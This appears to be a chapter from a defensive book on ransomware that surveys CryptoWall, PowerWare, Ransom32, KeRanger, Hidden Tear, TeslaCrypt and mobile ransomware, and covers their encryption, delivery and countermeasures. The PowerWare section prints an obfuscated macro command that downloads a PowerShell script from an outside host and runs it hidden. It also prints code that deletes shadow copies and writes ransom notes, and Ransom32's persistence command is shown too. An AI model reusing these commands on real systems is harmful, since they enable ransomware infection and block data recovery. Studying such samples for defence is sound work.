CryptoWall

CryptoWall was one of the longest continuously operating families of ransomware. First reported on in late 2013, it has morphed through different variants over the years, but continued to operate and adapt to changing security environments. As of this writing, CryptoWall is the most successful ransomware to date. Before shutting down all operations in late March of 2016 it had gone through six major revisions.

The authors of the 3.0 variant of CryptoWall have made anywhere from the FBI estimate of $18 million from US victims in 2015 to the CyberThreat Alliance estimate of more than $325 million from victims globally.¹ These estimates escalate year over year. If you look at estimated earnings and computers infected by CryptoWall in 2014, they were hovering around $1 million and 660,000 computers infected, with roughly 500 million files encrypted.² As you look throughout the life of CryptoWall, you can see that there were increasingly more complicated infections and more successful campaigns (see Figure 10-1).³

Figure 10-1. Timeline of CryptoWall variant detections

CryptoWall used two major methods of propagation:

1. Phishing campaigns using attachments with the .scr extension
2. Exploit kits, specifically, the Angler exploit kit, using any number of vulnerabilities, mostly Adobe Flash

Many of the older versions of CrytpoWall’s encryption have been broken, but the newest variant, CryptoWall 4 (named by researchers, no longer versioned by the authors) has yet to be broken.

Any system that has been encrypted with version 4 will have a number of difficulties. They will have to deal not only with the encryption, but have trouble detecting which files have even been encrypted, because this new variant changes the names of the files it encrypts.

The Encryption Process

Once CryptoWall finds a file to encrypt, it runs through a series of processes to encrypt and obfuscate the files that it is ensnaring for the ransom:

1. The application reads the file attributes.
2. The file is verified to not have already been encrypted, which is done by reading the first 16 bits of the file and comparing those to the an MD5 hash of the RSA public key.
3. A random filename and file extension is generated.
4. Using this new filename and extension, the file is renamed.
5. A random AES 256 key is generated.
6. An MD5 hash of the RSA public key received from the command-and-control server is taken and written to the first 16 bytes of the new file.
7. The RSA public key is used to encrypt a copy of the AES 256 key, and this encrypted key is written to the new file.
8. The original file attributes are written to the new file.
9. The length of the original filename is written to the new file.
10. The filename is encrypted using the AES-256 key and is written to the new file.
11. The size of the encrypted file content is written to the encrypted file.
12. The file is finally encrypted using the AES-256 key and is written to the new file. The crypto used is AES in CBC mode set to 512 KB blocks.
13. The original file is then deleted.

When you decompose a file encrypted by CryptoWall, you will see a fairly distinct pattern in the make up of the file. In Figure 10-2 shows a screen shot of this file decompostion.⁴

Figure 10-2. Sample of an encrypted CryptoWall file

Color key to Figure 10-2:

• Purple is the MD5 of the RSA public key
• Green is the encrypted AES 256 key
• Pink is the original file attributes
• Orange is the length of original filename
• Rose is the encrypted original filename
• Yellow is the size of encrypted data blob
• Teal is the encrypted data blob

The upside to this methodology is that it may be possible to use drive recovery software like R-Studio or Photorec to restore the files by essentially undeleting them. However, the longer an infected system runs, the harder it will be to recover these files from the hard drive directly.

The communication process for CryptoWall leverages TOR as part of its communication protocols in the version 4 variant. A victim will send outbound web requests through a proxy server owned by the criminals. This proxy server will forward requests to another proxy server within the TOR network. This proxy server within the TOR network will ultimately communicate with the command-and-control server in the TOR network. Figure 10-3 shows a graphical representation of this communication structure.⁵

Figure 10-3. CryptoWall 4 communication streams

PowerWare

First discovered and reported on by the team at Carbon Black,⁶ PowerWare is interesting because it does everything in PowerShell. PowerShell is Microsoft’s native scripting language designed to automate tasks and make it easier to manage functions in the Microsoft Windows environment. PowerShell is a powerful language that a lot of Windows administrators rely heavily on to handle repetitive tasks across the network.

PowerWare has typically been delivered as spam email attachments, usually as a Microsoft Word document with an embedded macro. The macro calls out to cmd.exe, which then uses PowerShell to reach out to the command-and-control infrastructure to pull down more PowerShell scripts that infect and encrypt files on the victim’s machine.

Because PowerWare uses all native Windows applications it easily bypasses traditional antivirus technologies, making it hard to detect. But stepping back for a second, the whole process seems unnatural. Here is what the process tree looks like in this case:

1. A Microsoft Word attachment is opened
2. Winword.exe makes a call to cmd.exe
3. cmd.exe makes a call to powershell.exe

Here is what the macro looks like when executed (line breaks inserted for clarity):

"cmd /K " + "pow" + "eR" & "sh" + "ell.e" + "x" + 
"e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile 
(New-Object System.Net.WebClient).
DownloadFile('http://techdallas.xyz/file[.]php','%TEMP%Y.ps1'); 
poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass 
-noprofile -file %TEMP%Y.ps1”

The macro calls cmd to execute the PowerShell.exe command because the default security settings on most Windows systems don’t allow macros to make calls directly to the PowerShell command.

The thing is, that string of calls does not look normal to a human being, especially one with any type of security experience. This, again, highlights the advantage of an advanced end-point solution, such as Carbon Black or SentinelOne. This is abnormal enough behavior that it should be at least flagged for investigation.

384862748483 = Get-WmiObject Win32_ShadowCopy
ForEach
($82746478282 in $384862748483) {
$82746478282.Delete()

}
$739492774 

gci $263772627.root -Recurse -Include 
"*.pdf","*.xls","*.docx","*.xlsx","*.mp3","*.waw",
"*.jpg","*.jpeg","*.txt","*.rtf","*.doc","*.rar",
"*.zip","*.psd","*.tif","*.wma","*.gif","*.bmp",
"*.ppt","*.pptx","*.docm","*.xlsm","*.pps","*.ppsx",
"*.ppd","*.eps","*.png","*.ace"

dd-Content -Path $57273472723473 -Value 
("<p><h2>Your #UUID is $uuid</p></h2>")

Add-Content -Path $57273472723473 -Value ('<p><h2>Guaranteed 
recovery is provided before scheduled deletion of private key on 
the day of '+(Get-Date).AddDays(+30))

Add-Content -Path $57273472723473 -Value ('<p><h2>The price to 
obtain the decrypter goes from 500 $ to 1000 $ on the day of 
'+(Get-Date).AddDays(+10))
 

Protecting Against PowerWare

The good news is that protecting against PowerShell-based ransomware is simple. By disabling access to the PowerShell executable on all workstations and laptops, except for those who need it, security teams can prevent unauthorized use. Just keep in mind that more advanced attackers actually can re-enable PowerShell, so regularly ensuring PowerShell is disabled is another step in detecting compromised machines. Remember, PowerShell can also be used to run remote commands from an administrator’s system; it doesn’t have to be installed on every box.⁸

Security teams can also use advanced end-point protection systems like Carbon Black, Cylance, and SentinelOne to detect and block unwanted PowerShell executions, like PowerWare. Figure 10-4 shows Carbon Black blocking access to a PowerWare attempt executed from a Microsoft Word macro.

If PowerShell is required to be installed on every workstation in the network, it should be locked down so that it can only be accessed by an account with administrative privileges. Of course, for this type of restriction to be in place and be effective, system administrators cannot automatically make every user a local administrator of their workstation. This practice is all too common, and it makes networks less secure. Not giving every user local administrative access is a pain for users and it makes more work for the system administration team, but it also makes the organization more secure.

Figure 10-4. Carbon Black blocking PowerWare from executing

Ransom32

Ransom32 has garnered a lot of attention because it is written entirely in JavaScript. Primarily delivered via spam email, the first version of Ransom32 was easy to detect because it was so large, coming in at more than 20 MB in size.

It also got a lot of attention because it was delivered as ransomware as a service (RaaS), illustrated in Figure 10-5. This is not the same as an affiliate program in which the hacker group behind the ransomware manages the installations and communication and gives the affiliate a cut of the money collected. Instead, the team behind Ransom32 offers a self-service portal that allows their customers to pay a fee for a unique copy of the software, complete with whatever extras they want to add.⁹

This gives their customers a lot more control over the ransomware and how it is managed.

Figure 10-5. Franchise your ransomware (from http://www.geekculture.com/joyoftech)

The primary delivery mechanism for Ransom32 continues to be spam. Generally, the JavaScript file is delivered as a file with a .scr extension,¹⁰ but the file is really a self-extracting WinRAR file. When double-clicked, the files are extracted and dropped into the %TEMP% directory.

The ransomware itself is a file called chrome.exe, an attempt to fool users into thinking that it is a Google Chrome process. Instead, it is actually a node webkit (nw.js) JavaScript file. There are a number of other files that are also extracted that serve functions like handling communication with the TOR network for command-and-control purposes and allowing Ransom32 to survive a reboot.

Ransom32 uses AES 128-bit encryption to encrypt files on the victim machine. Rather than use a custom encryption library, Ransom32 uses Microsoft’s native encryption libraries, specifically calling crypt32.dll. At this point the encryption has not been broken.

The application will attempt to install itself in the AppData directory and set it to run automatically when the system is rebooted (line breaks inserted for clarity):

S.exe "/F:C:Users<User>AppDataRoamingMicrosoftWindowsStart 
MenuProgramsStartupChromeService.lnk" /A:C 
"/T:C:Users<User>AppDataRoamingChrome Browserchrome.exe" 
"/W:C:Users<User>AppDataRoamingChrome Browser: 
/P:l "/D:Chrome Apps Service"

After the installation is complete, Ransom32 will post a ransom note, similar to Figure 10-6.

Figure 10-6. Ransom32 ransom note

Earlier versions of the Ransom32 were simultaneously easy and difficult to detect. A locally executed 20+ MB JavaScript is very unusual and should be automatically flagged. However, because it is using a standard JavaScript library (nw.js) and using all Windows calls there are still a number of antivirus vendors that do not flag it.

The behavior is unusual enough that many advanced end-point solutions should detect it, but a number of solutions rely on cloud-based analysis for suspicious files, and many of the advanced end-point solutions will not submit a file as large as 20 MB to the cloud for analysis. So, even some of the best solutions do not detect Ransom32.

The easiest way to stop Ransom32 is to use an email solution that looks for suspicious files. There is no legitimate reason for anyone to send a .scr file as an attachment. Furthermore, many email-scanning solutions can extract and examine compressed files, and all of them should flag on 20+ MB JavaScript files.

The other way to stop Ransom32 is to disable local script execution on most endpoints in the organization. Local script execution, whether it is a JavaScript file or a Windows scripting file is highly unusual. Disabling script execution will impact very few people in an organization, and again it will help to improve the overall security posture.

KeRanger/KeyRanger

KeRanger (also known as KeyRanger) is unique because it was the first successful ransomware targeting the Apple OS X operating system. First reported by the team at Palo Alto Networks in March 2016,¹¹ KeRanger was delivered as part of a trojanized version of the Bitorrent client, Transmission. The infected file was actually available for a couple of weeks on the Transmission website, leading to the infection of dozens of users.

One of the challenges in creating malware in general, and ransomware specifically, targeting Apple OS X systems is that the tricks that normally work to get Microsoft Windows users to install malware don’t work on OS X systems. This has nothing to do with Apple users being smarter or more security conscious; it is simply a matter of better protections built into the OS X operating system. That is what makes this method of ransomware delivery so unique. The attackers compromised legitimate code, which meant that users willingly, albeit unknowingly, downloaded and installed the ransomware. This is the same way many ransomware families for Android work. Android is a relatively secure operating system with a relatively insecure network of app stores. So, rather than try to attack the operating system itself, attackers get users to install the malware directly (more on that shortly).

The KeRanger ransomware was signed with a valid Developer ID stolen from a developer in Turkey, so it bypassed Apple’s Gatekeeper System. Apple’s Gatekeeper is an added layer of protection that is enabled by default on all OS X systems. Gatekeeper examines files downloaded from anywhere on the Internet to ensure that they have an Apple-assigned Developer ID. If the application does not have a Developer ID, or the Developer ID has been revoked, OS X will not allow the application to be installed.

The idea is to protect users from unknowingly self-installing malware or other malicious code, even if that code is downloaded from somewhere other than the Apple App Store. In security terms, any application that does not have a valid Developer ID is automatically on a black list and cannot be installed. When the team at Palo Alto reported the problem, Apple revoked the Developer ID, helping to prevent anyone else from installing the malicious code.

Once installed, KeRanger initiated callouts to its command-and-control infrastructure and maintained continuous communication. Command-and-control communication was carried out over the TOR network. However, KeRanger would wait 2-3 days before it started encrypting files, most likely to put some distance between the downloaded application and the encryption process, creating a disassociation between the attack and the end result.

After sleeping, KeRanger reached out to one of its stored command-and-control servers to get a private key to encrypt files in the /Users and /Volumes directories. Because it searched the /Volumes directories it encrypted files on any mounted shared drive.

KeRanger was able to encrypt an extensive list of files, some of which are listed below:

.3dm, .3ds, .3g2, .3gp, .7z, .ab4, .accdb, .accde, .accdr, .accdt,
.ach, .acr, .act, .adb, .ads, .ai, .ait, .al, .apj, .arw, .asf,
.asm, .asp, .asx, .avi, .back, .backup, .bak, .bank, .bgt, .bik,
.bkf, .bkp, .blend, .bpw, .cdb, .cdf, .cdr, .cdx, .cer, .cfp,
.cgm, .class, .cs, .csh, .csl, .csv, .dbf, .dbr, .dbs, .dc2, .dcr,
.dcs, .der, .des, .design, .dgc, .djvu, .dng, .doc, .docm, .docx,
.dot, .dotm, .dotx, .drf, .drw, .dxb, .edb, .eml, .eps,.fh, .fhd,
.fla, .flac, .gray, .grey, .grw, .gry, .hbk, .hpp, .ibd, .idx,
.java, .jpe, .jpeg, .jpg, .key, .lua, .m4v, .maf, .mam, .maq,
.mar, .maw, .max, .mdb, .mdc, .mde, .mdf, .mdt, .mmw, .mos, .mov,
.mp3, .mp4, .mpg, .mpp, .ndd, .nef, .nk2, .nrw, .obj, .odb, .odm,
.odp, .ods, .p7c, .pages, .pas, .pat, .pbo, .pcd, .pct, .pdb,
.pdd, .pdf, .pef, .pem, .pfx, .php, .pip, .pl, .plc, .pot, .potm,
.potx, .ppsx, .ppt, .pptm, .pptx, .prf, .ps, .psafe3, .psd, .py,
.qba, .rar, .rat, .raw, .rdb, .rm, .rtf, .rwz, .sda, .sdf, .snp,
.sql, .sr2, .srf, .srt, .srw, .stc, .std, .sti, .stw, .stx, .svg,
.swf, .tex, .tga, .thm, .tlg, .txt, .vsd, .vsx, .vtx, .wav, .wmv,
.wpd, .wps, .x11, .x3f, .xla, .xlam, .xlr, .xls, .xlsm, .xlsx,
.xlt, .xltm, .xltx, .xlw,.xpp, .xsn, .yuv, .zip

The files were encrypted using AES 256-bit encryption, and the extension .encrypted was appended to the end of each file. Once all files in a directory were encrypted a text file is dropped into each directory telling the victim what happened and what they needed to do to decrypt their files.

To date, the encryption for KeRanger has not been reverse-engineered, so there is no decryptor tool, other than the one that victims can get from the KeRanger team once the ransom is paid.

The good news is that KeRanger has not been seen since the initial activity, and all of the KeRanger command-and-control infrastructure is currently offline. However, the developers behind KeRanger have shown a possible way forward for future ransomware attacks against Apple OS X systems.

Hidden Tear

Hidden Tear is a now-abandoned open source ransomware project and the original source code was made available on GitHub. Oktu Sen, the Turkish researcher that created Hidden Tear, wanted to provide researchers with a better understanding of how ransomware works. The original code included strong AES encryption and a number of antivirus avoidance techniques; it would also only infect files in the DesktopTest directory, limiting any potential damage to researcher machines. It was an interesting research project, and Oktu Sen will still make the code available to researchers who are interested.

Not surprisingly, Hidden Tear spawned a number of clones that are being used today.⁠¹² There have been at least 10 different ransomware families that have spawned from the original Hidden Tear code. The original clones suffered because there was no command-and-control capability built into the original code. So, these early clones required victims to email the attackers for ransom payment information.

Subsequent forks in the code retrofitted command-and-control functionality, and there are now multiple Hidden Tear families that have command-and-control capabilities. Each new developer of a Hidden Tear variant adds new capabilities, and those capabilities are often open sourced to allow other hacking groups to take advantage of the features.

Hidden Tear clones still make up a small percentage of all ransomware attacks, but the number of different variants and the community aspect of the development process means that it is possible there will be more growth in this ransomware family.

TeslaCrypt

Despite the fact that the group behind TeslaCrypt has shut down, TeslaCrypt infections still surface from time to time, which is a testament to how pervasive TeslaCrypt infections have been over the last year and a half. First uncovered in February 2015, TeslaCrypt was delivered via both spam campaigns and the Angler exploit kit through compromised websites.¹³

One of the things that made TeslaCrypt unique is that it did not just target standard Office files, it also targeted gaming files. This meant that in addition to possibly losing work documents and family photos gamers risked having their scores and characters locked up as well.

The TeslaCrypt developers often mimicked behavior of more successful ransomware campaigns to the point that early versions of TeslaCrypt used a ransom note that looked very much like the the one used by CryptoLocker. This caused a number of security researchers to assume TeslaCrypt was another variant of CryptoLocker. The developers also appears to “borrow” code from the Carberp Trojan.¹⁴

Mobile Ransomware

Mobile ransomware is different than most types of ransomware discussed in this book because it is a locker-style ransomware. As discussed in Chapter 1, there are two types of ransomware: encryption ransomware, the kind most people are familiar with and the kind that makes the news; and locker ransomware, which is a type of ransomware that prevents the user from accessing the system. Developers of locker ransomware don’t have to worry about encrypting files—they simply determine the best way to keep the victim from getting to those files.

Mobile ransomware has almost exclusively targeted Android devices. There have been some attempts to trick iPhone users into thinking that ransomware has been installed on their phone but, to date, none of those cases turned out to be true ransomware.¹⁵ Instead they were tricks of the iPhone lock screen or potential iCloud intrusions masking as ransomware.

On the other hand, Android has been subject to an increasing amount of ransomware. According to a Kaspersky report, the ransomware infections that Kaspersky blocked on Android devices increased almost four-fold from 35,413 infections between April 2014 and March 2015 to 136,532 infections from April 2015 to March 2016.¹⁶ While these numbers are significantly smaller than the number of ransomware infections on Microsoft Windows computers, the growth is significantly greater.

Ransomware infections on mobile devices have continued to grow because, as in the world of the PC, they are profitable. Mobile ransomware infections are generally small dollar, $50-$100, and usually don’t require a Bitcoin account to pay the ransom. Some of the mobile ransomware teams take iTunes gift cards as payment, and others look for creative ways to collect payment. For most phone users, paying the relatively small ransom is cheaper, in terms of time spent, than trying to get the device reset and restored from backup.

Android suffers from more ransomware than Apple iPhones because its ecosystem is more open. While there are official Android stores, users can download apps from anywhere. Many of these infections start from banner ads or pop ups telling targets that they need to download a “special viewer” in order to view videos on a site or manage their downloads. Instead of a real app, the victim is downloading and running ransomware.

Even downloading apps from official app stores is not always safe. While Google has made significant strides in improving the vetting process for apps in the Google Play app store, there are still regular reports of malicious apps, including ransomware, being downloaded directly from the app store.

The good news is that almost all Android ransomware infections are self-inflicted. The Android device is not compromised; instead, the ransomware comes from a malicious app. This means that protecting users from being infected by Android applications is simply a matter of education.

To start, don’t download any Android apps from anywhere but the official app stores. Yes, not all apps in the app store are safe, but there is a significantly smaller chance that an app from an offical app store will infect an Android device.

Secondly, Android’s open ecosystem allows security companies like Symantec and Kaspersky to create security apps that can protect users from mobile ransomware. Install a mobile protection suite, and make sure it is from a trusted security company—mobile malware authors have been known to disguise their ransomware as a “security tool.”

Finally, as with PC ransomware, make sure all Android phones are backed up on a regular basis. Backing up an Android device is easy, and can be done daily while charging the phone; just plug it into a PC instead of the wall, or use the cloud backup services—assuming they provide a means to restore from backup remotely.

Ransomware Targeting Medical Devices

There has been a lot of discussion about the future of ransomware. Inevitably, that discussion seems to revolve around the so-called Internet of Things (IoT) and, more specifically, medical devices.

Do you have to worry about ransomware on your refrigerator? Probably not. The ransomware business model works because a relatively small investment can yield a lot of money very quickly and that money can continue to pour in for months or, as was the case with the team behind CryptoWall, even years. But that return on investment is predicated on a large install base of targets who cannot easily restore their systems.

There are hundreds of millions of people who run computers with Microsoft Windows and one of the three major browsers with a whole lot of plugins enabled. It is a large install base of easy targets, so that is going to be the focus of ransomware authors for the foreseeable future.

On the other hand, IoT (I lose 2 IQ points every time I type that phrase) devices are a mishmash of different vendors and different operating systems. Sure, the security track record on these devices is almost universally abysmal, but it is not possible to write one piece of ransomware that will run on every single device. The market it too fragmented at this point to make trying to run a profitable ransomware campaign remotely effective.

On top of that, generally people don’t store information that they absolutely must have on those devices. Think about it for a second. If the average person sees that their refrigerator has ransomware installed on it, are they more likely to pay the ransom or call technical support to find out how to reset the system and set it up again? The latter solution is cheaper, ensures any residual malware is gone, and doesn’t take up too much time.

This even works with an IoT device that has personal data on it, like an Apple Watch. The Apple Watch gets its information from the connected iPhone. It is not storing anything directly on the watch. So, if a hacking group were to develop ransomware for the Apple Watch, victims would simply reset their watches and sync the device back up to the phone.

Summary

There are a wide variety of attack methods and platforms for ransomware teams to go after, and as long as ransomware continues to be profitable for these hacker groups, they will continue to exploit those systems.

That means that the best way to stop ransomware attacks is to make them less profitable for hackers. The way to do that is by taking steps, across all platforms, to avoid being infected. Steps like maintaining good backups, keeping systems fully patched, being aware of attachments, links, and downloads, and taking steps to better secure the underlying operating system help keep organizations safe from ransomware.

Don’t underestimate the skills of the people behind ransomware. They are constantly looking for new ways to exploit weaknesses in victims to get them to install ransomware and weaknesses in the underlying systems to make sure those attacks are successful.

But for every new tactic these developers uncover, there are ways to protect against it; and it is the responsibility of security engineers everywhere to stay up to date on the latest ways to protect their organizations.